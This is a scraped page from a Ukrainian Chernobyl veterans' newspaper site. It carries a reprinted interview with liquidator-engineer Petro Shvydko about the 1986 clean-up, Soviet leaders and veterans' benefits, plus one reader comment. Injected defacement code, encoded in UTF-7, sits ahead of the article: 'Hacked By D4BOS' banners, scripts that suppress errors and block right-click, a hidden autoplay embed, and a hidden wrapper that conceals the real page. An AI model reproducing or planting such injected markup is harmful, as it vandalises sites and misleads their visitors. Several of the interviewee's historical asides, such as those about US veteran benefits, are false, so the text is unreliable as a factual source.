+ADw-/title+AD4 +ADw-script language+AD0AIg-JavaScript1.2+ACIAPg function ClearError() +AHs-return true+ADsAfQ window.onerror +AD0 ClearError+ADs +ADw-/script+AD4 +ADw-title+AD4AfA 0wn3d+ADw-/title+AD4 +ADw-html+AD4APA-/head+AD4 +ADw-title+AD4-Hacked By D4BOS+ADw-/title+AD4 +ADw-head+AD4APA-link rel+AD0AIg-shortcut icon+ACI href+AD0AIg-http://img.webme.com/pic/i/iconvar/turk-b-11.png+ACI-/+AD4APA-/head+AD4 +ADw-body bgcolor+AD0AIg-black+ACIAPg +ADw-center+AD4APA-br+AD4APA-br+AD4 +ADw-div class+AD0AIg-imagehold+ACIAPg +ADw-img src+AD0AIg-https://i.hizliresim.com/2rXYqL.jpg+ACI alt+AD0AIg-width+AD0AIg-600+ACI height+AD0AIg-450+ACI style+AD0AIg-padding-top:0px+ACI-/+AD4APA-br+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4APA-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4-Hacked By D4BOS+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/b+AD4APA-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:15pt Courier New+ADsAIgA+ADw-b+AD4-D4BOS+ADs-Taktik yok bam bam +ADw-/b+AD4APA-img width+AD0AIg-20+ACI src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACIAPgAm-nbsp+ADsAPA-img src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACI width+AD0AIg-20+ACIAPgA8-br+AD4 +ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:grey+ADs-font:12pt Courier New+ADsAIgA+-DeadlyCrew.info+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:11pt Courier New+ADsAIgA+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPg +ADw-/font+AD4APA-font color+AD0AIgAj-545454+ACIAPgA8-/font+AD4APA-/div+AD4APA-br+AD4APA-/div+AD4APA-/b+AD4 +ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:9pt Courier New+ADsAIgA+ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:15pt Courier New+ADsAIgA+-d4bos.wordpress.com+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-p align+AD0-center style+AD0AIg-text-align:center+ACIAPgA8-b+AD4APA-br+AD4 +ADwAIQ—hacked by D4BOS–+AD4 +ADw-/body+AD4 +ADw-embed src+AD0AIg-http://www.youtube.com/v/uCrm9RghRjU?version+AD0-3+ACY-amp+ADs-hl+AD0-en+AF8-US+ACY-amp+ADs-rel+AD0-0+ACY-amp+ADs-autoplay+AD0-1+ACI type+AD0AIg-application/x-shockwave-flash+ACI width+AD0AIg-1+ACI height+AD0AIg-1+ACI allowscriptaccess+AD0AIg-always+ACI allowfullscreen+AD0AIg-true+ACIAPgA8-/embed+AD4 +ADw-SCRIPT LANGUAGE+AD0AIg-Javascript+ACIAPgA8ACE— // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg var isNS +AD0 (navigator.appName +AD0APQ +ACI-Netscape+ACI) ? 1 : 0+ADs var EnableRightClick +AD0 0+ADs if(isNS) document.captureEvents(Event.MOUSEDOWN+AHwAfA-Event.MOUSEUP)+ADs function mischandler()+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 else +AHs-return false+ADs +AH0 +AH0 function mousehandler(e)+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 var myevent +AD0 (isNS) ? e : event+ADs var eventbutton +AD0 (isNS) ? myevent.which : myevent.button+ADs if((eventbutton+AD0APQ-2)+AHwAfA(eventbutton+AD0APQ-3)) return false+ADs +AH0 function keyhandler(e) +AHs var myevent +AD0 (isNS) ? e : window.event+ADs if (myevent.keyCode+AD0APQ-96) EnableRightClick +AD0 1+ADs return+ADs +AH0 document.oncontextmenu +AD0 mischandler+ADs document.onkeypress +AD0 keyhandler+ADs document.onmousedown +AD0 mousehandler+ADs document.onmouseup +AD0 mousehandler+ADs //–+AD4 +ADw-/script+AD4APA-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Газета Всеукраїнської Спілки ліквідаторів-інвалідів "Чорнобиль-86". Всеукраїнський часопис для інвалідів Чорнобиля, ліквідаторів, чорнобилян.
19.04.2013, рубрика "Спогади"

Петро ШВИДЬКО: «Я працював у «команді смертників». Мій радіопозивний був 216-й»

Станіслав ПРОКОПЧУК,

«Урядовий кур’єр», 17 квітня 2013

Член штабу з ліквідації наслідків аварії на ЧАЕС (1986 рік),

кандидат технічних наук

Петро ШВИДЬКО

Свого співрозмовника — Петра Швидька, я відніс би до категорії людей унікальних. За високою порядністю і обов’язковістю, енциклопедичними знаннями і нестримним прагненням бути корисним з ними суспільству. Це яскраво проявилося за його п’ять років перебування — за власним устремлінням — в самому епіцентрі ліквідації наслідків «катастрофи ХХ століття». А ще Петро Васильович — Людина незвичайної, жорсткої принциповості у справах, що стосуються державних, тобто наших з вами інтересів. І коли зустрічає на цьому шляху людей, готових переступити через все і всіх заради власної кишені або корпоративної мети, Він кидається нерідко в нерівний бій заради торжества правди. Не завжди це, на жаль, закінчувалося переконливою перемогою. Всемогутня корупція та патологічна жадоба можновладців та їх приспішників до збагачення за рахунок інших-досить важка перешкода на шляху до соціальної справедливості…

— Петре Васильовичу, майже три десятиліття відділяють нас від тієї страшної трагедії. Як з висоти років людині, котра входила до команди смертників-ліквідаторів, видається тогочасний науково-технічний рівень готовності наддержави реагувати нестандартними рішеннями на мінімізацію жахливих наслідків випущеного з реактора немирного вже атома?..

— 10 травня 1986-го мене викликали до Москви, до Держкомвинаходів СРСР, де отримав по загривку за те, що як автор способу великотоннажного захоронення радіоактивних відходів не доповів членам урядової комісії про своє технічне рішення. Цього ж дня, а саме через дві години, мені було видано позитивне рішення на винахід (авторське свідоцтво №1426295), а через добу я вже був у Києві, у приймальні академіка Ігоря Походні, який очолював у Національній академії наук штаб з ліквідації наслідків аварії (ЛНА) на ЧАЕС з фізичних проблем.

Згодом доля звела мене з керівником штабу ЛНА в самому епіцентрі трагедії, майбутнім Героєм Соціалістичної Праці, видатною особистістю Юрієм Миколайовичем Самойленком. Кожен у його команді був незамінним фахівцем у тих екстремальних умовах. Було сказано відкрито, що цей штаб — на відміну від інших — «команда смертників» з добровольців. Його головне завдання — максимально мінімізувати колективну дозу опромінення ліквідаторів, використовуючи робототехніку та розробки оптимальних за дозовим навантаженням технологій дезактивації покрівель між четвертим зруйнованим і сусіднім третім енергоблоками станції. Мій радіопозивний був 216-й, у начальника штабу Юрія Самойленка — 201-й.

Назву лише кілька рішень, що допомогли прискорити усунення наслідків трагедії 26 квітня та зберегти життя сотням дійсних ліквідаторів. Адже вся тогочасна робототехніка, що застосовувалася на дахах енергоблоків, куди вибухом були викинуті радіоактивні залишки атомного монстра, була напрочуд сирою і недосконалою. Тож довелося особисто розробляти і впроваджувати безлюдну дезактивацію покрівель приміщень спільної експлуатації енергоблоків №4 та №3 за допомогою шахтних скреперних лебідок. У впровадженні брали участь шахтарі-добровольці з Кривбасу. Три бригади по 6 чоловік. Кожен з них заміняв цією механізацією 200 чоловік, якби вони вирубували радіаційну м’яку покрівлю вручну. У розрахунках і монтажі допомагав професор Георгій Федорович Лепін — видатний білоруський вчений, а також Сергій Саверський зі Свердловського політеху (помер у 2011-му, позивний 217-й, світла йому пам’ять).

За 1986 рік мене відзначено 12 грамотами, в тому числі двома — урядової комісії. А через багато років була передана грамота від тодішнього голови Дніпропетровської облдержадміністрації Юрія Єханурова, а також від Президента орден «За мужність» ІІІ ступеня. Без девальвації в часі — це нормально.

Натомість звертаюсь до всіх учасників ліквідації наслідків аварії на Чорнобильській АЕС: якщо ви йшли на ЛНА добровільно — не скигліть! Коли я  чую голоси, що за нинішньої влади вони ніколи не пішли б у зону, то я щиро хочу ВАС усіх образити — ви ж і не були добровольцями, нікуди ви не ходили — вас везли, ви реєстровані резервісти військкоматівських облікових карток і склали присягу!

— Чим вам запам’яталися дії тодішнього вищого керівництва Радянського Союзу?

— Жахливо, але факт: коли на день-два у 1986 році приїжджав на ЧАЕС тодішній голова Ради Міністрів СРСР Микола Рижков, то він привозив з Москви свого кухаря з курятиною і оселедцем! Достовірно знаю, сам бачив і куштував, каюсь, на другому поверсі АБК-1 у директорській їдальні, де 12 посадочних місць. Тисячі людей в зоні їли в загальних їдальнях продукти харчування під пильним дозиметричним контролем, але як треба себе любити, щоб, будучи лідером країни, їздити зі своєю куркою!

Коли аж 18 лютого 1987-го вперше і востаннє виявив бажання відвідати чорнобильську зону сам Генсек Михайло Горбачов з дружиною у супроводі Володимира Щербицького, то він привіз із собою… статистів, переодягнених у нові й чистесенькі спецівки ліквідаторів. Кортеж урядових членовозів об’їхав на трасі «засідки» справжніх ліквідаторів і співробітників ЧАЕС — ця «людська маса» завжди була незрозумілою «кремлівським вождям».

Ще цікава подробиця виринає з глибин пам’яті. Незадовго до того 40-хвилинного спілкування Горбачова з «ліквідаторами» і ознайомлення похапцем Генсека з ходом робіт, у Москві зібралися світові християнські лідери святкувати 1000-річчя хрещення Русі. І, як завжди, забули, що тоді — тисячу років тому — і Москви не було, і Росії не було, а було село Кочкіно і жили в ньому вепси, і що хрещення було не в Яузі, а в Дніпрі, але з’їзд кліриків проводили таки в столиці Союзу «нерушимого». І можливо, з причини історичних спотворень процесу хрещення Русі (а Господь все бачить!), а можливо, з причини втрати стійкості внутрішньої стіни машинного залу, остання почала зміщуватися всередину нього, погрожуючи тим, що нова післяаварійна покрівля впаде, а в атмосферу піднімуться радіонукліди, погрожуючи і світовим гостям, і мешканцям України.

На засіданні урядової комісії всі, хто володів секретними на той час технічними рішеннями переміщення великотоннажних радіоактивних елементів реактора в полях до десяти тисяч рентген і мав право приймати рішення, дійшли висновку, що про спеціалізовану робототехніку треба забути, а застосувати шахтарську технологію, запропоновану Швидьком. А раптом вийде!

Але потрібно було розчистити від високоактивних фрагментів залишків реактора і будівельних конструкцій майданчик завширшки всього 20 метрів упоперек машзалу в районі 7-ї турбіни. На цьому зачищеному майданчику силами резервістів вже можна буде звести контрфорсну стіну перпендикулярно стіні, яка втратила стійкість, щоб зупинити її рух і зберегти її як опору аварійній покрівлі машзалу над провалом із фрагментами зруйнованого реактора. Завдання ускладнювалось тим, що 25-берні допустимі аварійні навантаження на ліквідатора за разовий вихід були вже заборонені... Піднялася тріскотня дрібненьких людців про покарання розробників, підписантів і реалізаторів Інструкції — «... жорстоко маленькі судять великих з повинною головою». Керівною конституційною роллю, нагадую, тоді узаконено хизувалася КПРС і більшість з 18 мільйонів її членів... Московське керівництво і тут знайшло «відповідальне рішення»!

Рішення просте — привезли у грудні 1986-го з Узбекистану резервістів, зібраних з кишлаків, більшість з яких не знали загальнодоступної мови. Ці бідні хлопці, відчуваючи небезпеку, роботу виконували стоїчно, а головне, з точки зору головних організаторів ЛНА, ці виконавці нічого і ніде не зможуть розповісти... Істинно, немає фортець, які б не здавалися справжнім більшовикам! Злочинність використання узбеків у ті дні в машзалі була в тому, що згадана Інструкція вже була з тріском анульована. Правда, лише в жовтні й одразу на наступний день, коли всі до єдиного радіоактивні фрагменти з дахів були вже скинуті вручну в простір зруйнованого енергоблока, а особливо брудні зони були підметені, помиті гідромонітором і залиті спеціальним клеєм з вертольота для недопущення аерозольного розпилення. Клей і технологію, до речі, розробив і впровадив особисто старший лаборант Володимир Чуприн, киянин, студент-заочник, без співавторства маститих, тричі дорогих радянських учених свого хімічного академічного київського інституту. Помер у 1993 році, світла пам’ять! Був особистістю серед ліквідаторів. Позивний — 204-й.

Всього на січень 1987-го в управлінні дозиметричного контролю за мною значилося 219 рентген. А пропрацював я після цього в зоні міста-примари Прип’ять ще чотири роки, проживаючи у Чорнобилі.

Чи знала чергова вахтова зміна істинні рівні радіації, в яких буде незабаром працювати? Фото Ігоря КОСТІНА

— Петре Васильовичу, у 1987-му, як я знаю, ви тривалий час лежали в «чорнобильській» клініці № 6 у Москві.

— Так. Лікували нас найкращі лікарі СРСР — Комарова і Гусєва Ангеліна Костянтинівна. Дай Бог їм щастя і здоров’я! Але з того лікарняного періоду мені найбільше запам’яталася брошурка англійських орнітологів про життя горобиних. Вона ходила по руках, на неї серед хворих була черга. Думаю, що всіх не залишило байдужим те місце, де розповідалось, як за допомогою швидкісної кінокамери вчені зафіксували унікальні картинки з життя пернатих: виявляється, що хижак, який пікірує на обрану жертву з пташиної зграї, завжди відлітає з іншою жертвою. Саме інша пташка, бачачи шуліку в піке з уже висунутими кігтями, кидає своє тіло в її бік, як камікадзе, жертвуючи собою. За її осиротілими пташенятами вже потім, переконують фахівці, зграя доглядає колективно. Виявляється, що тільки з цього гнізда виростають бійці (якщо виростають!), охоронці зграї, які «свідомо» за потреби йдуть на смерть…

Все, мабуть, так, але не як у людей: дитя буфетниці облвиконкому або голови колгоспу чи районної ради ніколи не буде поранено в афганському бою і завжди воно буде «зайвим» при наборі військкоматами на ліквідацію наслідків чорнобильської трагедії... Але воно завжди буде «учасником» будь-якої пільгової події з максимальним використанням цих пільг... А от серед горобців так не буває.

— 19 вересня 1986-го там, у зоні, вас прийняли кандидатом у члени КПРС. За весь період, десь вичитав, до лав компартії було в аварійному порядку, для особливого заохочення, прийнято лише 58 ліквідаторів.

— Це було в Прип’ятському міськкомі на вулиці Радянській в місті Чорнобиль. Дізнавшись, що я безпартійний, мені запропонували вступити. Спитали про демократичний централізм... У міськком, як я згодом дізнався, надійшло подання на мене від керівництва УБ-605 Мінсередмашу, що споруджувало саркофаг, на нагороду міськкомівською грамотою. За мою пропозицію заміни болгарської бентонітової глини, яку доставляли аж з Балкан баржами, на глину Черкаського родовища. Глиною заливали щілину завширшки 0,8 м і завглибшки 37 метрів — до першої гідропідпори, створюючи таким чином стіну штучної вертикальної гідропідпори в грунті на східній стороні ЧАЕС для запобігання проникненню розчинних елементів опроміненого палива водоносними горизонтами в річку Прип’ять. Щілина підземна стіна створювалась італійською технікою «Касагранде».

— Давайте надамо слово авторові спогаду «Петро «Бентонітовий», який я вичитав днями на одному із вітчизняних сайтів. Там наводяться дуже цікаві речі про різні винаходи Петра Васильовича Швидька.

— Цікаво, чую про це вперше. Не читав.

— «Багато цікавих ідей і розробок було пов’язано з ім’ям Петра. Їх головне завдання — заміна людей на найзагрозливіших ділянках робіт технічними засобами. Багато пропозицій Петра Швидька ми прагнули реалізувати разом. В їх реальності ми ніскілечки не сумнівалися… Найбільшу ділянку даху — майданчик «К» (Катя) запропоновано було очищати за допомогою трактора «Білорусь». Будівельники переконали, що це навантаження покрівля витримає. Здавалося б, нездоланна проблема полягала в тому, що кран «Демаг» не діставав до зони «К». Виготовили спеціальний «посадочний» майданчик, з якого трактор спроможний був вийти на зону «К». Все це вже підвезли до об’єкта. Але…

Цікава ідея полягала і в дезактивації земельних ділянок навколо зруйнованого реактора за допомогою гірничих машин. Річ у тім, що товщина шару ґрунту, забрудненого радіонуклідами, як правило, не перевищувала 8–10 см. Спроби знімати цей шар бульдозером не дали результату, який вимагався. Бульдозер переміщував грунт, і навіть після зняття 25 см землі територія залишалася досить радіоактивною… На цей раз усе було продумано з врахуванням накопиченого досвіду. І не тільки продумано, а і підібрано необхідну техніку. І знову «але».

— Дуже добре пам’ятаю всі наші численні спроби впровадити техніку, щоб зберегти від опромінення сотні і сотні людей, — стримано промовляє Петро Швидько.

Спорудження «Саркофага» над зруйнованим атомним монстром — то були найважчі дні ліквідації наслідків аварії на ЧАЕС. Фото з сайту bigpicture.ru

— Для мене найцінніше із спогаду «Петро «Бентонітовий» глобальні й досить об’єктивні висновки, які робить її автор.

— «У Чорнобилі склалась досить своєрідна ситуація. Всі дії адміністрації спрямовані не на зниження навантаження на людей, не на заміну людей технікою, не на використання сучасних технологій, а на полегшення власного життя, на звільнення себе, коханого, від будь-яких складнощів і проблем…У них був «необмежений кредит» на людей, на їх використання. І, головне, це було набагато простіше, не вимагало ніякого мислення, ніяких відповідальних рішень. Достатньо було дати команду, і будь-яка найстрашніша робота виконувалася цими безправними і безмовними людьми… Так, наприклад, і роботи з очищення покрівлі були раптово перервані нерозумним наказом: «Залити все бетоном!». При цьому нікого не турбувала думка про те, що залити всі ці брудні ділянки треба було значно раніше, не проганяючи через покрівлю десятки тисяч людей».

Петро Васильович мовчки, уважно вчитується в ці рядки, щоб промовити згодом жорстку фразу:

— Не хочеться вірити в це, але, на мою думку, у 1986–1987-х роках чорнобильської ліквідаційної епопеї, як і в роки Голодомору і Другої світової війни, тривало навмисне знищення величезного прошарку найкращого генофонду моєї країни.

— І чим же закінчилась ваша історія із вступом до лав КПРС? — прагну повернути таку важку розмову в попереднє, більш «легке» русло.

— Інститутські комуністи, отримавши копію протоколу Прип’ятського міськкому із вказівкою «...взяти на облік кандидата в члени з 19 вересня 1986 р.», категорично відмовилися це робити. А ідеологічний заступник секретаря парткому доцент Алексєєв заверещав: «Це неподобство, якщо кожен поїде в Чорнобиль без погодження з нами, то що, повернеться звідти кандидатом?! У нас діє черга серед справжніх громадських діячів! І більше того, зі Швидьком у Чорнобилі не було двох, хто знав би його не менше трьох років!»

Брати на облік відмовилися. Бог їм суддя! Не повернулося з інституту до урядової комісії жодне з трьох її подань щодо моїх державних нагород. Нагородні листи з Чорнобиля тоді йшли через основне місце роботи — лише для заповнення перших абзаців — загальних відомостей відділу кадрів про кандидата на відзнаку. В ті моменти у мене був такий стан, начебто я працював не в Чорнобилі на ліквідації, а служив в Освенцимі біля печі, де піджарював найближчих родичів інститутського трикутника...

Залишилися поза своєчасною увагою нагородних відділів різних областей та країн СНД мої колеги Галущак Валерій Степанович, Лепін Георгій Федорович, Ністряну Олександр Васильович, Пшеничних Володимир Миколайович, Над’ярних Георгій, Дєдов Сергій, Саверський Сергій. Останній нагороджений лише Московським патріархатом за місяць до смерті. Вони всі активно працювали в зоні з травня 1986-го, десять з 18 добровольців померли ще до 10-річного ювілею аварії... Важко закінчити порушену тему, випадково не образивши кілька людей, котрі ще живуть, справжніх Героїв нашої країни... Бракує слів! Бракує пам’яті!

— «Терпиме кожен стерпить, а нестерпне — тільки терплячий», — кажуть мудрі японці, які нещодавно пережили аналогічну аварію на Фукусімі, подавши всьому світові приклад злагодженої роботи з ліквідації наслідків, інформування населення…

— Владо, якщо ти влада від цього народу, то не смій нагороджувати «фальшивомонетників-довгожителів», не девальвуй нагороди на «кітелях-піджачках», не зробивши, на жаль, це своєчасно! Не самостверджуйся своїми можливостями і надалі нагороджувати ще живих учасників війни та ліквідаторів, у яких участь у минулому з твоєї подачі перетворилася сьогодні на професію. Краще зверни всю свою увагу і можливості, нічого «не забуваючи», на сиріт і вдів!

Хто нагороджений на 26 квітня 2012-го в Дніпропетровській області? Троє! Двоє з яких — голови районних осередків «Союз Чорнобиль»... Це ж вони самі, уявіть, на себе заповнювали всі абзаци нагородних аркушів, мотивуючи тим, що в їхніх осередках кращих від них ліквідаторів немає. Істинно — печатка-то в їхніх кишенях! Владо, дайте країні зітхнути від «героїчного минулого»! Ліквідуйте всі і всім пільги! Держава повинна мати тверді розцінки на героїчні вчинки, навіть на кулю в серці і на кожен рентген, отриманий усвідомлено при досягненні мети ліквідації наслідків, і то за умови, що він перевищує допустиму дозу опромінення...

У США пільга є тільки у нагороджених орденом «Білий орел». Це найвища пільга: президент країни повинен першим віддати честь Герою з цим орденом. І це в дуже багатій державі. Американський президент Гаррі Трумен усіх героїв, які поверталися з Другої світової війни, свого часу наділив досить вагомими пільгами: всі бажаючі були зараховані до вишів, а всі нужденні отримали безплатне житло в шикарному на той час спальному районі Нью-Йорка — Гарлемі.

Пільги завжди ведуть до нетрів існування, а в українському випадку вони ще і в рази перевищують можливості бюджету країни. Для всіх, хто навіть має право, вони нереальні! Держава повинна розраховуватися грошима з родиною за твердими світовими розцінками. Таким же чином повинні компенсуватися каліцтва, втрата здоров’я і кожен рентген надприпустимого. Держава повинна піклуватися про сиріт, вдів і батьків, які втратили годувальника. Паради, пільги і шоу «Нагорода знайшла героя» мають бути ліквідовані.

Нічого б не сталося, якби аварійна ЧАЕС кілька років пробула б «під арештом», нікому і нічим вона вже не загрожувала після 27 квітня 1986 року... Період напіврозпаду радіонуклідів істотно убезпечив би подальшу роботу з ліквідації наслідків у майбутньому...

— Випущений у Чорнобилі атомний джин фактично, здавалося б, поставив тоді хрест на подальшій долі реакторів типу РБМК-1000. Але ж вони і сьогодні експлуатуються нашими сусідами-росіянами?

— Де має значитися той реєстровий козачок, що натискував кнопку зупинки оновленої ЧАЕС та зняття її з експлуатації?! Скільки українських чоловіків заплатило рухливістю своєї сперми за пуск трьох чорнобильських блоків-мільйонників!

Зазнані людські та матеріальні витрати на дезактивацію, запуск ЧАЕС і будівництво об’єкта «Укриття» ніяк не корелюються з ліквідацією енергогенерації чорнобильської станції в майбутньому. Навіщо? Якщо конструкція реактора РБМК-1000 дефективна — то інша справа! Але в такому разі потрібно зупиняти і Курську АЕС, але в першу чергу Смоленську! Тому що три блоки РБМК-1000 САЕС аналогічні чорнобильським, і стоять вони на березі Десни, без ставка-охолоджувача, воду другого контуру скидають прямо в Десну — в основний водозабір Києва, Чернігова та інших українських населених пунктів! Але про це ніхто не говорить ні на київських пагорбах, ні на брюссельських тусовках в Європі. Значить, річ не в надійності реактора РБМК-1000.

Друге. Станцію ліквідував Леонід Кучма, перевівши її з енергогенеруючих об’єктів до енергоспоживчих, але аж ніяк не в радіаційно безпечний стан. І всім це сподобалося. Значить, для Європи і для недовірливих у керівництві України достатньо було її перейменувати?! Ефект був той же. Відкинувши місяць на планово попереджувальні ремонти, три енергоблоки, ліквідовані Кучмою, могли б полегшити фінансовий стан країни щорічним поповненням бюджету на 3 мільярди доларів, замість збитків на утримання в безпечному стані зупинених енергоблоків і об’єкта «Укриття». В розмірі 700 мільйонів гривень на рік (!), що випливає із Закону про держбюджет-2012. З якою метою діяла московська влада, що так прискорено, будь-якою ціною ліквідовувала наслідки аварії починаючи з першого дня катастрофи? Опромінилася колосальна кількість українців і прикомандированих із братніх республік. І що більше вражає: коли дезактивація будівель та споруд території промислового майданчика ЧАЕС, машин і механізмів, реакторного та іншого енергетичного господарств привела їх у пристойний стан за санітарними нормами — то вже ця, тепер нібито «наша» влада вивела з експлуатації оновлену і модернізовану станцію.

А скільки ліквідовано робочих місць унікальних професіоналів — ядерних енергетиків, з їх височенною додатковою вартістю, — завершує свою жорстку і відверту сповідь очевидця Петро Швидько, — і це вже після того, як ліквідація наслідків аварії на ЧАЕС справді закінчилась... Важко пишеться історія розвалу України поколінням, до якого належиш і ТИ сам!


ДОСЬЄ «УК»

Петро ШВИДЬКО. Народився 1947 року в місті Гадяч Полтавської області. Закінчив з відзнакою Дніпропетровський гірничий інститут. Кандидат технічних наук, лауреат Державної премії України в галузі науки і техніки, автор 55 винаходів. Заступник генерального директора концерну «Південруда», екс-керівник концерну «Ядерне паливо», член-кореспондент Академії гірничих наук України. Нагороджений орденом «За мужність» III ступеня.

http://ukurier.gov.ua/uk/articles/petro-shvidko-ya-pracyuvav-u-komandi-smertnikiv-mi/

Запись была опубликована: glavred(ом) Пятница, 19 апреля 2013 г. в 8:06
и размещена в разделе Спогади.
Вы можете следить за ответами к этой публикации через ленту RSS 2.0.
Вы можете оставить ответ или trackback с вашего сайта.

На сообщение "Петро ШВИДЬКО: «Я працював у «команді смертників». Мій радіопозивний був 216-й»" Один комментарий

  1. ockar сказал(а):

    ПЕТРУЧО НЕ СМЕШЫ МОИ ТАПКИ ДОЗА У НИХ 231 РЕНГЕН.ВЫ ПОЖГЛИ УЗБЕКОВ И СОЛДАТ СРОЧНИКОВ.МНЕ БЫЛО В 86-21 ГОД.ВОТ И ЖЫВИ С ЭТИМ ЕСЛИ СМОЖЕШ.ВЧ 64354

Оставить комментарий

 

Полный анализ сайта